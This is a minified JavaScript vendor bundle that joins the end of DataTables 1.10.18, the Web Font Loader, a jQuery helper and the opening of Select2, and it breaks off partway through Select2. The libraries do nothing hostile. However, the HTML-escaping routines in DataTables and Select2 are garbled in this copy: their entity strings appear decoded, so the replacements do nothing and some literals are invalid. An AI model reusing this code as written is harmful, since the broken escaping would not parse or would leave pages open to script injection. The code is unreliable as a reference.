t=this._iDisplayLength,e=this._iDisplayStart,n=e+t,i=this.aiDisplay.length,s=this.oFeatures,o=s.bPaginate;return s.bServerSide?!1===o||-1===t?e+i:Math.min(e+t,this._iRecordsDisplay):!o||i<n||-1===t?i:n},oInstance:null,sInstance:null,iTabIndex:0,nScrollHead:null,nScrollFoot:null,aLastSort:[],oPlugins:{},rowIdFn:null,rowId:null},C.ext=f={buttons:{},classes:{},build:"dt/dt-1.10.18",errMode:"alert",feature:[],search:[],selector:{cell:[],column:[],row:[]},internal:{},legacy:{ajax:null},pager:{},renderer:{pageButton:{},header:{}},order:{},type:{detect:[],search:{},order:{}},_unique:0,fnVersionCheck:C.fnVersionCheck,iApiIndex:0,oJUIClasses:{},sVersion:C.version},L.extend(f,{afnFiltering:f.search,aTypes:f.type.detect,ofnSearch:f.type.search,oSort:f.type.order,afnSortData:f.order,aoFeatures:f.feature,oApi:f.internal,oStdClasses:f.classes,oPagination:f.pager}),L.extend(C.ext.classes,{sTable:"dataTable",sNoFooter:"no-footer",sPageButton:"paginate_button",sPageButtonActive:"current",sPageButtonDisabled:"disabled",sStripeOdd:"odd",sStripeEven:"even",sRowEmpty:"dataTables_empty",sWrapper:"dataTables_wrapper",sFilter:"dataTables_filter",sInfo:"dataTables_info",sPaging:"dataTables_paginate paging_",sLength:"dataTables_length",sProcessing:"dataTables_processing",sSortAsc:"sorting_asc",sSortDesc:"sorting_desc",sSortable:"sorting",sSortableAsc:"sorting_asc_disabled",sSortableDesc:"sorting_desc_disabled",sSortableNone:"sorting_disabled",sSortColumn:"sorting_",sFilterInput:"",sLengthSelect:"",sScrollWrapper:"dataTables_scroll",sScrollHead:"dataTables_scrollHead",sScrollHeadInner:"dataTables_scrollHeadInner",sScrollBody:"dataTables_scrollBody",sScrollFoot:"dataTables_scrollFoot",sScrollFootInner:"dataTables_scrollFootInner",sHeaderTH:"",sFooterTH:"",sSortJUIAsc:"",sSortJUIDesc:"",sSortJUI:"",sSortJUIAscAllowed:"",sSortJUIDescAllowed:"",sSortJUIWrapper:"",sSortIcon:"",sJUIHeader:"",sJUIFooter:""}),C.ext.pager);function Me(t,e){var n=[],i=Ae.numbers_length,s=Math.floor(i/2);return e<=i?n=u(0,e):t<=s?((n=u(0,i-2)).push("ellipsis"),n.push(e-1)):((e-1-s<=t?n=u(e-(i-2),e):((n=u(t-s+2,t+s-1)).push("ellipsis"),n.push(e-1),n)).splice(0,0,"ellipsis"),n.splice(0,0,0)),n.DT_el="span",n}L.extend(Ae,{simple:function(t,e){return["previous","next"]},full:function(t,e){return["first","previous","next","last"]},numbers:function(t,e){return[Me(t,e)]},simple_numbers:function(t,e){return["previous",Me(t,e),"next"]},full_numbers:function(t,e){return["first","previous",Me(t,e),"next","last"]},first_last_numbers:function(t,e){return["first",Me(t,e),"last"]},_numbers:Me,numbers_length:7}),L.extend(!0,C.ext.renderer,{pageButton:{_:function(r,t,l,e,c,h){function u(t,e){for(var n,i=function(t){Gt(r,t.data.action,!0)},s=0,o=e.length;s<o;s++)if(n=e[s],L.isArray(n)){var a=L("<"+(n.DT_el||"div")+"/>").appendTo(t);u(a,n)}else{switch(d=null,p="",n){case"ellipsis":t.append('<span class="ellipsis">…</span>');break;case"first":d=g.sFirst,p=n+(0<c?"":" "+f.sPageButtonDisabled);break;case"previous":d=g.sPrevious,p=n+(0<c?"":" "+f.sPageButtonDisabled);break;case"next":d=g.sNext,p=n+(c<h-1?"":" "+f.sPageButtonDisabled);break;case"last":d=g.sLast,p=n+(c<h-1?"":" "+f.sPageButtonDisabled);break;default:d=n+1,p=c===n?f.sPageButtonActive:""}null!==d&&(pe(L("<a>",{class:f.sPageButton+" "+p,"aria-controls":r.sTableId,"aria-label":m[n],"data-dt-idx":v,tabindex:r.iTabIndex,id:0===l&&"string"==typeof n?r.sTableId+"_"+n:null}).html(d).appendTo(t),{action:n},i),v++)}}var d,p,n,f=r.oClasses,g=r.oLanguage.oPaginate,m=r.oLanguage.oAria.paginate||{},v=0;try{n=L(t).find(b.activeElement).data("dt-idx")}catch(t){}u(L(t).empty(),e),n!==O&&L(t).find("[data-dt-idx="+n+"]").focus()}}}),L.extend(C.ext.type.detect,[function(t,e){e=e.oLanguage.sDecimal;return l(t,e)?"num"+e:null},function(t,e){var n;return(!t||t instanceof Date||B.test(t))&&(null!==(n=Date.parse(t))&&!isNaN(n)||s(t))?"date":null},function(t,e){e=e.oLanguage.sDecimal;return l(t,e,!0)?"num-fmt"+e:null},function(t,e){e=e.oLanguage.sDecimal;return n(t,e)?"html-num"+e:null},function(t,e){e=e.oLanguage.sDecimal;return n(t,e,!0)?"html-num-fmt"+e:null},function(t,e){return s(t)||"string"==typeof t&&-1!==t.indexOf("<")?"html":null}]),L.extend(C.ext.type.search,{html:function(t){return s(t)?t:"string"==typeof t?t.replace(w," ").replace(U,""):""},string:function(t){return!s(t)&&"string"==typeof t?t.replace(w," "):t}});function Pe(t,e,n,i){return 0===t||t&&"-"!==t?+(t=(t=e?G(t,e):t).replace&&(n&&(t=t.replace(n,"")),i)?t.replace(i,""):t):-1/0}function Ee(n){L.each({num:function(t){return Pe(t,n)},"num-fmt":function(t){return Pe(t,n,q)},"html-num":function(t){return Pe(t,n,U)},"html-num-fmt":function(t){return Pe(t,n,U,q)}},function(t,e){f.type.order[t+n+"-pre"]=e,t.match(/^html\-/)&&(f.type.search[t+n]=f.type.search.html)})}L.extend(f.type.order,{"date-pre":function(t){t=Date.parse(t);return isNaN(t)?-1/0:t},"html-pre":function(t){return s(t)?"":t.replace?t.replace(/<.*?>/g,"").toLowerCase():t+""},"string-pre":function(t){return s(t)?"":"string"==typeof t?t.toLowerCase():t.toString?t.toString():""},"string-asc":function(t,e){return t<e?-1:e<t?1:0},"string-desc":function(t,e){return t<e?1:e<t?-1:0}}),Ee(""),L.extend(!0,C.ext.renderer,{header:{_:function(s,o,a,r){L(s.nTable).on("order.dt.DT",function(t,e,n,i){s===e&&(e=a.idx,o.removeClass(a.sSortingClass+" "+r.sSortAsc+" "+r.sSortDesc).addClass("asc"==i[e]?r.sSortAsc:"desc"==i[e]?r.sSortDesc:a.sSortingClass))})},jqueryui:function(s,o,a,r){L("<div/>").addClass(r.sSortJUIWrapper).append(o.contents()).append(L("<span/>").addClass(r.sSortIcon+" "+a.sSortingClassJUI)).appendTo(o),L(s.nTable).on("order.dt.DT",function(t,e,n,i){s===e&&(e=a.idx,o.removeClass(r.sSortAsc+" "+r.sSortDesc).addClass("asc"==i[e]?r.sSortAsc:"desc"==i[e]?r.sSortDesc:a.sSortingClass),o.find("span."+r.sSortIcon).removeClass(r.sSortJUIAsc+" "+r.sSortJUIDesc+" "+r.sSortJUI+" "+r.sSortJUIAscAllowed+" "+r.sSortJUIDescAllowed).addClass("asc"==i[e]?r.sSortJUIAsc:"desc"==i[e]?r.sSortJUIDesc:a.sSortingClassJUI))})}}});function Le(t){return"string"==typeof t?t.replace(/</g,"<").replace(/>/g,">").replace(/"/g,"""):t}function Oe(e){return function(){var t=[ue(this[C.ext.iApiIndex])].concat(Array.prototype.slice.call(arguments));return C.ext.internal[e].apply(this,t)}}return C.render={number:function(i,s,o,a,r){return{display:function(t){if("number"!=typeof t&&"string"!=typeof t)return t;var e=t<0?"-":"",n=parseFloat(t);if(isNaN(n))return Le(t);n=n.toFixed(o),t=Math.abs(n);n=parseInt(t,10),t=o?s+(t-n).toFixed(o).substring(2):"";return e+(a||"")+n.toString().replace(/\B(?=(\d{3})+(?!\d))/g,i)+t+(r||"")}}},text:function(){return{display:Le}}},L.extend(C.ext.internal,{_fnExternApiFunc:Oe,_fnBuildAjax:wt,_fnAjaxUpdate:Ct,_fnAjaxParameters:Tt,_fnAjaxUpdateDraw:xt,_fnAjaxDataSrc:kt,_fnAddColumn:et,_fnColumnOptions:nt,_fnAdjustColumnSizing:F,_fnVisibleToColumnIndex:j,_fnColumnIndexToVisible:h,_fnVisbleColumns:x,_fnGetColumns:it,_fnColumnTypes:st,_fnApplyColumnDefs:ot,_fnHungarianMap:a,_fnCamelToHungarian:T,_fnLanguageCompat:Z,_fnBrowserDetect:Q,_fnAddData:k,_fnAddTr:at,_fnNodeToDataIndex:function(t,e){return e._DT_RowIndex!==O?e._DT_RowIndex:null},_fnNodeToColumnIndex:function(t,e,n){return L.inArray(n,t.aoData[e].anCells)},_fnGetCellData:y,_fnSetCellData:rt,_fnSplitObjNotation:ct,_fnGetObjectDataFn:D,_fnSetObjectDataFn:m,_fnGetDataMaster:ht,_fnClearTable:ut,_fnDeleteIndex:dt,_fnInvalidate:pt,_fnGetRowElements:ft,_fnCreateTr:gt,_fnBuildHead:vt,_fnDrawHead:bt,_fnDraw:g,_fnReDraw:c,_fnAddOptionsHtml:yt,_fnDetectHeader:St,_fnGetUniqueThs:_t,_fnFeatureHtmlFilter:Dt,_fnFilterComplete:It,_fnFilterCustom:At,_fnFilterColumn:Mt,_fnFilter:Pt,_fnFilterCreateSearch:Et,_fnEscapeRegex:Lt,_fnFilterData:Ft,_fnFeatureHtmlInfo:Nt,_fnUpdateInfo:$t,_fnInfoMacros:zt,_fnInitialise:Wt,_fnInitComplete:Ut,_fnLengthChange:Bt,_fnFeatureHtmlLength:Vt,_fnFeatureHtmlPaginate:qt,_fnPageChange:Gt,_fnFeatureHtmlProcessing:Xt,_fnProcessingDisplay:S,_fnFeatureHtmlTable:Jt,_fnScrollDraw:Zt,_fnApplyToChildren:H,_fnCalculateColumnWidths:Kt,_fnThrottle:Qt,_fnConvertToWidth:te,_fnGetWidestNode:ee,_fnGetMaxLenString:ne,_fnStringToCss:N,_fnSortFlatten:I,_fnSort:ie,_fnSortAria:se,_fnSortListener:oe,_fnSortAttachListener:ae,_fnSortingClasses:re,_fnSortData:le,_fnSaveState:ce,_fnLoadState:he,_fnSettingsFromNode:ue,_fnLog:$,_fnMap:A,_fnBindAction:pe,_fnCallbackReg:M,_fnCallbackFire:P,_fnLengthOverflow:fe,_fnRenderer:ge,_fnDataSource:E,_fnRowAttributes:mt,_fnExtend:de,_fnCalculateEnd:function(){}}),((L.fn.dataTable=C).$=L).fn.dataTableSettings=C.settings,L.fn.dataTableExt=C.ext,L.fn.DataTable=function(t){return L(this).dataTable(t).api()},L.each(C,function(t,e){L.fn.DataTable[t]=e}),L.fn.dataTable}),!function(){function F(t,e,n){return t.call.apply(t.bind,arguments)}function j(e,n,t){var i;if(e)return 2<arguments.length?(i=Array.prototype.slice.call(arguments,2),function(){var t=Array.prototype.slice.call(arguments);return Array.prototype.unshift.apply(t,i),e.apply(n,t)}):function(){return e.apply(n,arguments)};throw Error()}function p(t,e,n){return(p=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?F:j).apply(null,arguments)}var r=Date.now||function(){return+new Date};function H(t,e){this.a=t,this.m=e||t,this.c=this.m.document}var N=!!window.FontFace;function l(t,e,n,i){if(e=t.c.createElement(e),n)for(var s in n)n.hasOwnProperty(s)&&("style"==s?e.style.cssText=n[s]:e.setAttribute(s,n[s]));return i&&e.appendChild(t.c.createTextNode(i)),e}function c(t,e,n){(t=(t=t.c.getElementsByTagName(e)[0])||document.documentElement).insertBefore(n,t.lastChild)}function n(t){t.parentNode&&t.parentNode.removeChild(t)}function f(t,e,n){e=e||[],n=n||[];for(var i=t.className.split(/\s+/),s=0;s<e.length;s+=1){for(var o=!1,a=0;a<i.length;a+=1)if(e[s]===i[a]){o=!0;break}o||i.push(e[s])}for(e=[],s=0;s<i.length;s+=1){for(o=!1,a=0;a<n.length;a+=1)if(i[s]===n[a]){o=!0;break}o||e.push(i[s])}t.className=e.join(" ").replace(/\s+/g," ").replace(/^\s+|\s+$/,"")}function o(t,e){for(var n=t.className.split(/\s+/),i=0,s=n.length;i<s;i++)if(n[i]==e)return!0;return!1}function T(t){var e;return"string"==typeof t.f?t.f:"https:"==(e="about:"==(e=t.m.location.protocol)?t.a.location.protocol:e)?"https:":"http:"}function x(t,e,n){function i(){a&&s&&(a(o),a=null)}e=l(t,"link",{rel:"stylesheet",href:e,media:"all"});var s=!1,o=null,a=n||null;N?(e.onload=function(){s=!0,i()},e.onerror=function(){s=!0,o=Error("Stylesheet failed to load"),i()}):setTimeout(function(){s=!0,i()},0),c(t,"head",e)}function i(t,e,n,i){var s,o,a=t.c.getElementsByTagName("head")[0];return a?(s=l(t,"script",{src:e}),o=!1,s.onload=s.onreadystatechange=function(){o||this.readyState&&"loaded"!=this.readyState&&"complete"!=this.readyState||(o=!0,n&&n(null),s.onload=s.onreadystatechange=null,"HEAD"==s.parentNode.tagName&&a.removeChild(s))},a.appendChild(s),setTimeout(function(){o||(o=!0,n&&n(Error("Script load timeout")))},i||5e3),s):null}function k(){this.a=0,this.c=null}function D(t){return t.a++,function(){t.a--,s(t)}}function I(t,e){t.c=e,s(t)}function s(t){0==t.a&&t.c&&(t.c(),t.c=null)}function a(t){this.a=t||"-"}function A(t,e){this.c=t,this.f=4,this.a="n";t=(e||"n4").match(/^([nio])([1-9])$/i);t&&(this.a=t[1],this.f=parseInt(t[2],10))}function h(t){var e=[];t=t.split(/,\s*/);for(var n=0;n<t.length;n++){var i=t[n].replace(/['"]/g,"");-1!=i.indexOf(" ")||/^\d/.test(i)?e.push("'"+i+"'"):e.push(i)}return e.join(",")}function g(t){return t.a+t.f}function u(t){var e="normal";return"o"===t.a?e="oblique":"i"===t.a&&(e="italic"),e}function $(t,e){this.c=t,this.f=t.m.document.documentElement,this.h=e,this.a=new a("-"),this.j=!1!==e.events,this.g=!1!==e.classes}function m(t){var e,n,i;t.g&&(e=o(t.f,t.a.c("wf","active")),n=[],i=[t.a.c("wf","loading")],e||n.push(t.a.c("wf","inactive")),f(t.f,n,i)),v(t,"inactive")}function v(t,e,n){t.j&&t.h[e]&&(n?t.h[e](n.c,g(n)):t.h[e]())}function z(){this.c={}}function d(t,e){this.c=t,this.f=e,this.a=l(this.c,"span",{"aria-hidden":"true"},this.f)}function b(t){c(t.c,"body",t.a)}function y(t){return"display:block;position:absolute;top:-9999px;left:-9999px;font-size:300px;width:auto;height:auto;line-height:normal;margin:0;padding:0;font-variant:normal;white-space:nowrap;font-family:"+h(t.c)+";font-style:"+u(t)+";font-weight:"+t.f+"00;"}function S(t,e,n,i,s,o){this.g=t,this.j=e,this.a=i,this.c=n,this.f=s||3e3,this.h=o||void 0}function _(t,e,n,i,s,o,a){this.v=t,this.B=e,this.c=n,this.a=i,this.s=a||"BESbswy",this.f={},this.w=s||3e3,this.u=o||null,this.o=this.j=this.h=this.g=null,this.g=new d(this.c,this.s),this.h=new d(this.c,this.s),this.j=new d(this.c,this.s),this.o=new d(this.c,this.s),t=y(t=new A(this.a.c+",serif",g(this.a))),this.g.a.style.cssText=t,t=y(t=new A(this.a.c+",sans-serif",g(this.a))),this.h.a.style.cssText=t,t=y(t=new A("serif",g(this.a))),this.j.a.style.cssText=t,t=y(t=new A("sans-serif",g(this.a))),this.o.a.style.cssText=t,b(this.g),b(this.h),b(this.j),b(this.o)}a.prototype.c=function(t){for(var e=[],n=0;n<arguments.length;n++)e.push(arguments[n].replace(/[\W_]+/g,"").toLowerCase());return e.join(this.a)},S.prototype.start=function(){var s=this.c.m.document,o=this,a=r(),t=new Promise(function(n,i){!function e(){var t;r()-a>=o.f?i():s.fonts.load(u(t=o.a)+" "+t.f+"00 300px "+h(t.c),o.h).then(function(t){1<=t.length?n():setTimeout(e,25)},function(){i()})}()}),e=new Promise(function(t,e){setTimeout(e,o.f)});Promise.race([e,t]).then(function(){o.g(o.a)},function(){o.j(o.a)})};var w={D:"serif",C:"sans-serif"},e=null;function C(){var t;return null===e&&(t=/AppleWebKit\/([0-9]+)(?:\.([0-9]+))/.exec(window.navigator.userAgent),e=!!t&&(parseInt(t[1],10)<536||536===parseInt(t[1],10)&&parseInt(t[2],10)<=11)),e}function M(t,e,n){for(var i in w)if(w.hasOwnProperty(i)&&e===t.f[w[i]]&&n===t.f[w[i]])return!0;return!1}function P(t){var e=t.g.a.offsetWidth,n=t.h.a.offsetWidth;e===t.f.serif&&n===t.f["sans-serif"]||C()&&M(t,e,n)?r()-t.A>=t.w?C()&&M(t,e,n)&&(null===t.u||t.u.hasOwnProperty(t.a.c))?E(t,t.v):E(t,t.B):setTimeout(p(function(){P(this)},t),50):E(t,t.v)}function E(t,e){setTimeout(p(function(){n(this.g.a),n(this.h.a),n(this.j.a),n(this.o.a),e(this.a)},t),0)}function L(t,e,n){this.c=t,this.a=e,this.f=0,this.o=this.j=!1,this.s=n}_.prototype.start=function(){this.f.serif=this.j.a.offsetWidth,this.f["sans-serif"]=this.o.a.offsetWidth,this.A=r(),P(this)};var O=null;function W(t){0==--t.f&&t.j&&(t.o?((t=t.a).g&&f(t.f,[t.a.c("wf","active")],[t.a.c("wf","loading"),t.a.c("wf","inactive")]),v(t,"active")):m(t.a))}function U(t){this.j=t,this.a=new z,this.h=0,this.f=this.g=!0}function B(t,e){this.c=t,this.a=e}function V(t,e){this.c=t,this.a=e}function q(t,e,n){this.c=t||e+"//fonts.googleapis.com/css",this.a=[],this.f=[],this.g=n||""}L.prototype.g=function(t){var e=this.a;e.g&&f(e.f,[e.a.c("wf",t.c,g(t).toString(),"active")],[e.a.c("wf",t.c,g(t).toString(),"loading"),e.a.c("wf",t.c,g(t).toString(),"inactive")]),v(e,"fontactive",t),this.o=!0,W(this)},L.prototype.h=function(t){var e,n,i,s=this.a;s.g&&(e=o(s.f,s.a.c("wf",t.c,g(t).toString(),"active")),n=[],i=[s.a.c("wf",t.c,g(t).toString(),"loading")],e||n.push(s.a.c("wf",t.c,g(t).toString(),"inactive")),f(s.f,n,i)),v(s,"fontinactive",t),W(this)},U.prototype.load=function(t){this.c=new H(this.j,t.context||this.j),this.g=!1!==t.events,this.f=!1!==t.classes;var i=this,e=new $(this.c,t),n=t,s=[],t=n.timeout,s=(function(t){t.g&&f(t.f,[t.a.c("wf","loading")]),v(t,"loading")}(e),function(t,e,n){var i,s,o=[];for(i in e)e.hasOwnProperty(i)&&(s=t.c[i])&&o.push(s(e[i],n));return o}(i.a,n,i.c)),o=new L(i.c,e,t);for(i.h=s.length,e=0,n=s.length;e<n;e++)s[e].load(function(t,e,n){var l,c,h,u,d;l=o,c=t,h=e,u=n,d=0==--(t=i).h,(t.f||t.g)&&setTimeout(function(){var t=u||null,e=h||{};if(0===c.length&&d)m(l.a);else{l.f+=c.length,d&&(l.j=d);for(var n=[],i=0;i<c.length;i++){var s=c[i],o=e[s.c],a=l.a,r=s;a.g&&f(a.f,[a.a.c("wf",r.c,g(r).toString(),"loading")]),v(a,"fontloading",r),a=(O=(a=null)===O?!!window.FontFace&&(!(r=/Gecko.*Firefox\/(\d+)/.exec(window.navigator.userAgent))||42<parseInt(r[1],10)):O)?new S(p(l.g,l),p(l.h,l),l.c,s,l.s,o):new _(p(l.g,l),p(l.h,l),l.c,s,l.s,t,o),n.push(a)}for(i=0;i<n.length;i++)n[i].start()}},0)})},B.prototype.load=function(a){var r,t,e=this,l=e.a.projectId,n=e.a.version;l?(r=e.c.m,i(this.c,(t=l,n=n,T(e.c)+"//"+(e.a.api||"fast.fonts.net/jsapi").replace(/^.*http(s?):(\/\/)?/,"")+"/"+t+".js"+(n?"?v="+n:"")),function(t){t?a([]):(r["__MonotypeConfiguration__"+l]=function(){return e.a},function t(){if(r["__mti_fntLst"+l]){var e,n=r["__mti_fntLst"+l](),i=[];if(n)for(var s=0;s<n.length;s++){var o=n[s].fontfamily;null!=n[s].fontStyle&&null!=n[s].fontWeight?(e=n[s].fontStyle+n[s].fontWeight,i.push(new A(o,e))):i.push(new A(o))}a(i)}else setTimeout(function(){t()},50)}())}).id="__MonotypeAPIScript__"+l):a([])},V.prototype.load=function(t){for(var e=this.a.urls||[],n=this.a.families||[],i=this.a.testStrings||{},s=new k,o=0,a=e.length;o<a;o++)x(this.c,e[o],D(s));var r=[];for(o=0,a=n.length;o<a;o++)if((e=n[o].split(":"))[1])for(var l=e[1].split(","),c=0;c<l.length;c+=1)r.push(new A(e[0],l[c]));else r.push(new A(e[0]));I(s,function(){t(r,i)})};function G(t){this.f=t,this.a=[],this.c={}}var X={latin:"BESbswy","latin-ext":"çöüğş",cyrillic:"йяЖ",greek:"αβΣ",khmer:"កខគ",Hanuman:"កខគ"},J={thin:"1",extralight:"2","extra-light":"2",ultralight:"2","ultra-light":"2",light:"3",regular:"4",book:"4",medium:"5","semi-bold":"6",semibold:"6","demi-bold":"6",demibold:"6",bold:"7","extra-bold":"8",extrabold:"8","ultra-bold":"8",ultrabold:"8",black:"9",heavy:"9",l:"3",r:"4",b:"7"},Z={i:"i",italic:"i",n:"n",normal:"n"},Y=/^(thin|(?:(?:extra|ultra)-?)?light|regular|book|medium|(?:(?:semi|demi|extra|ultra)-?)?bold|black|heavy|l|r|b|[1-9]00)?(n|i|normal|italic)?$/;function K(t,e){this.c=t,this.a=e}var Q={Arimo:!0,Cousine:!0,Tinos:!0};function tt(t,e){this.c=t,this.a=e}function et(t,e){this.c=t,this.f=e,this.a=[]}K.prototype.load=function(t){for(var e=new k,n=this.c,i=new q(this.a.api,T(n),this.a.text),s=this.a.families,o=i,a=s,r=a.length,l=0;l<r;l++){var c=a[l].split(":"),h=(3==c.length&&o.f.push(c.pop()),"");2==c.length&&""!=c[1]&&(h=":"),o.a.push(c.join(h))}for(var u=new G(s),d=u,p=d.f.length,f=0;f<p;f++){var g=d.f[f].split(":"),m=g[0].replace(/\+/g," "),v=["n4"];if(2<=g.length){var b,y,S=g[1],_=[];if(S)for(var w=(S=S.split(",")).length,C=0;C<w;C++)(y=!(y=S[C]).match(/^[\w-]+$/)||null==(b=Y.exec(y.toLowerCase()))?"":[y=null==(y=b[2])||""==y?"n":Z[y],b=null==(b=b[1])||""==b?"4":J[b]||(isNaN(b)?"4":b.substr(0,1))].join(""))&&_.push(y);0<_.length&&(v=_),3==g.length&&(_=[],0<(g=(g=g[2])?g.split(","):_).length)&&(g=X[g[0]])&&(d.c[m]=g)}for(d.c[m]||(g=X[m])&&(d.c[m]=g),g=0;g<v.length;g+=1)d.a.push(new A(m,v[g]))}x(n,function(t){if(0==t.a.length)throw Error("No fonts to load!");if(-1!=t.c.indexOf("kit="))return t.c;for(var e=t.a.length,n=[],i=0;i<e;i++)n.push(t.a[i].replace(/ /g,"+"));return e=t.c+"?family="+n.join("%7C"),0<t.f.length&&(e+="&subset="+t.f.join(",")),0<t.g.length&&(e+="&text="+encodeURIComponent(t.g)),e}(i),D(e)),I(e,function(){t(u.a,u.c,Q)})},tt.prototype.load=function(a){var t=this.a.id,r=this.c.m;t?i(this.c,(this.a.api||"https://use.typekit.net")+"/"+t+".js",function(t){if(t)a([]);else if(r.Typekit&&r.Typekit.config&&r.Typekit.config.fn){t=r.Typekit.config.fn;for(var e=[],n=0;n<t.length;n+=2)for(var i=t[n],s=t[n+1],o=0;o<s.length;o++)e.push(new A(i,s[o]));try{r.Typekit.load({events:!1,classes:!1,async:!0})}catch(t){}a(e)}},2e3):a([])},et.prototype.load=function(l){var t=this.f.id,e=this.c.m,c=this;t?(e.__webfontfontdeckmodule__||(e.__webfontfontdeckmodule__={}),e.__webfontfontdeckmodule__[t]=function(t,e){for(var n,i,s,o=0,a=e.fonts.length;o<a;++o){var r=e.fonts[o];c.a.push(new A(r.name,(r="font-weight:"+r.weight+";font-style:"+r.style,s=i=n=void 0,n=4,i="n",s=null,r&&((s=r.match(/(normal|oblique|italic)/i))&&s[1]&&(i=s[1].substr(0,1).toLowerCase()),s=r.match(/([1-9]00|normal|bold)/i))&&s[1]&&(/bold/i.test(s[1])?n=7:/[1-9]00/.test(s[1])&&(n=parseInt(s[1].substr(0,1),10))),i+n)))}l(c.a)},i(this.c,T(this.c)+(this.f.api||"//f.fontdeck.com/s/css/js/")+((e=this.c).m.location.hostname||e.a.location.hostname)+"/"+t+".js",function(t){t&&l([])})):l([])};var t=new U(window),R=(t.a.c.custom=function(t,e){return new V(e,t)},t.a.c.fontdeck=function(t,e){return new et(e,t)},t.a.c.monotype=function(t,e){return new B(e,t)},t.a.c.typekit=function(t,e){return new tt(e,t)},t.a.c.google=function(t,e){return new K(e,t)},{load:p(t.load,t)});"function"==typeof define&&define.amd?define(function(){return R}):"undefined"!=typeof module&&module.exports?module.exports=R:(window.WebFont=R,window.WebFontConfig&&t.load(window.WebFontConfig))}(),!function(s){"use strict";void 0===s.fn.each2&&s.extend(s.fn,{each2:function(t){for(var e=s([0]),n=-1,i=this.length;++n<i&&(e.context=e[0]=this[n])&&!1!==t.call(e[0],n,e););return this}})}(jQuery),!function(v,b){"use strict";var t,e,n,y,s,r,m,c,i,o,a;function l(t){var e=v(document.createTextNode(""));t.before(e),e.before(t),e.remove()}function h(t){return t.replace(/[^\u0000-\u007E]/g,function(t){return i[t]||t})}function u(t,e){for(var n=0,i=e.length;n<i;n+=1)if(d(t,e[n]))return n;return-1}function d(t,e){return t===e||t!==b&&e!==b&&null!==t&&null!==e&&(t.constructor===String?t+""==e+"":e.constructor===String&&e+""==t+"")}function p(t,e,n){var i,s,o;if(null===t||t.length<1)return[];for(s=0,o=(i=t.split(e)).length;s<o;s+=1)i[s]=n(i[s]);return i}function f(t){return t.outerWidth(!1)-t.width()}function g(e){var n="keyup-change-value";e.on("keydown",function(){v.data(e,n)===b&&v.data(e,n,e.val())}),e.on("keyup",function(){var t=v.data(e,n);t!==b&&e.val()!==t&&(v.removeData(e,n),e.trigger("keyup-change"))})}function S(e,n,i){var s;return i=i||b,function(){var t=arguments;window.clearTimeout(s),s=window.setTimeout(function(){n.apply(i,t)},e)}}function _(t){t.preventDefault(),t.stopPropagation()}function w(t,e,n){var i,s=[],o=v.trim(t.attr("class"));o&&v((o=""+o).split(/\s+/)).each2(function(){0===this.indexOf("select2-")&&s.push(this)}),(o=v.trim(e.attr("class")))&&v((o=""+o).split(/\s+/)).each2(function(){0!==this.indexOf("select2-")&&(i=n(this))&&s.push(i)}),t.attr("class",s.join(" "))}function C(t,e,n,i){var s=h(t.toUpperCase()).indexOf(h(e.toUpperCase())),e=e.length;s<0?n.push(i(t)):(n.push(i(t.substring(0,s))),n.push("<span class='select2-match'>"),n.push(i(t.substring(s,s+e))),n.push("</span>"),n.push(i(t.substring(s+e,t.length))))}function T(t){var e={"\\":"\","&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};return String(t).replace(/[&<>"'\/\\]/g,function(t){return e[t]})}function x(o){var t,a=null,e=o.quietMillis||100,r=o.url,l=this;return function(s){window.clearTimeout(t),t=window.setTimeout(function(){var t=o.data,e=r,n=o.transport||v.fn.select2.ajaxDefaults.transport,i={type:o.type||"GET",cache:o.cache||!1,jsonpCallback:o.jsonpCallback||b,dataType:o.dataType||"json"},i=v.extend({},v.fn.select2.ajaxDefaults.params,i),t=t?t.call(l,s.term,s.page,s.context):null,e="function"==typeof e?e.call(l,s.term,s.page,s.context):e;a&&"function"==typeof a.abort&&a.abort(),o.params&&(v.isFunction(o.params)?v.extend(i,o.params.call(l)):v.extend(i,o.params)),v.extend(i,{url:e,dataType:o.dataType,data:t,success:function(t){t=o.results(t,s.page,s);s.callback(t)},error:function(t,e,n){s.callback({hasError:!0,jqXHR:t,textStatus:e,errorThrown:n})}}),a=n.call(l,i)},e)}}function k(t){var e,n,i=t,r=function(t){return""+t.text},t=(v.isArray(i)&&(i={results:n=i}),!1===v.isFunction(i)&&(n=i,i=function(){return n}),i());return t.text&&(r=t.text,v.isFunction(r)||(e=t.text,r=function(t){return t[e]})),function(s){var o,a=s.term,n={results:[]};""===a?s.callback(i()):(o=function(t,e){var n,i;if((t=t[0]).children){for(i in n={},t)t.hasOwnProperty(i)&&(n[i]=t[i]);n.children=[],v(t.children).each2(function(t,e){o(e,n.children)}),(n.children.length||s.matcher(a,r(n),t))&&e.push(n)}else s.matcher(a,r(t),t)&&e.push(t)},v(i().results).each2(function(t,e){o(e,n.results)}),s.callback(n))}}function D(e){var o=v.isFunction(e);return function(n){var i=n.term,s={results:[]},t=o?e(n):e;v.isArray(t)&&(v(t).each(function(){var t=this.text!==b,e=t?this.text:this;""!==i&&!n.matcher(i,e)||s.results.push(t?this:{id:this,text:this})}),n.callback(s))}}function I(t,e){if(v.isFunction(t))return 1;if(t){if("string"==typeof t)return 1;throw new Error(e+" must be a string, function, or falsy value")}}function A(t,e){var n;return v.isFunction(t)?(n=Array.prototype.slice.call(arguments,2),t.apply(e,n)):t}function M(){var n=this;v.each(arguments,function(t,e){n[e].remove(),n[e]=null})}function P(t,e){function n(){}return((n.prototype=new t).constructor=n).prototype.parent=t.prototype,n.prototype=v.extend(n.prototype,e),n}window.Select2===b&&(r={x:0,y:0},c={TAB:9,ENTER:13,ESC:27,SPACE:32,LEFT:37,UP:38,RIGHT:39,DOWN:40,SHIFT:16,CTRL:17,ALT:18,PAGE_UP:33,PAGE_DOWN:34,HOME:36,END:35,BACKSPACE:8,DELETE:46,isArrow:function(t){switch(t=t.which||t){case c.LEFT:case c.RIGHT:case c.UP:case c.DOWN:return!0}return!1},isControl:function(t){switch(t.which){case c.SHIFT:case c.CTRL:case c.ALT:return!0}return!!t.metaKey},isFunctionKey:function(t){return 